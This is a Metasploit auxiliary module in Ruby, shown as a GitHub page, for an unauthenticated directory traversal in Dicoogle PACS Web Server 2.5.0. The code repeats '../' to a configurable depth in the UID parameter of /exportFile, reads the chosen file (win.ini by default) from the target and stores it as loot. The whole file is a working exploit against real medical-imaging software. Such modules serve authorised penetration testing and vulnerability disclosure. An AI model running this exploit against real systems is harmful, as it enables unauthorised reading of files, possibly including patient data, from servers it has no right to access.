-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
dicoogle_traversal.rb
70 lines (62 loc) · 1.88 KB
/
dicoogle_traversal.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Dicoogle PACS Web Server Directory Traversal',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an
attacker to read arbitrary files with the web server privileges.
While the application is java based, the directory traversal was only
successful against Windows targets.
},
'References' =>
[
['EDB', '45007']
],
'Author' =>
[
'Carlos Avila', # Vulnerability discovery
'h00die' # Metasploit module
],
'DisclosureDate' => '2018-07-11',
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(8080),
OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 15 ])
])
end
def run_host(ip)
filename = datastore['FILEPATH']
traversal = "../" * datastore['DEPTH'] << filename
res = send_request_cgi({
'method' => 'GET',
'uri' => '/exportFile',
'vars_get' => {
'UID' => traversal
}
})
unless res && res.code == 200
print_error('Nothing was downloaded')
return
end
vprint_good("#{peer} - #{res.body}")
path = store_loot(
'dicoogle.traversal',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end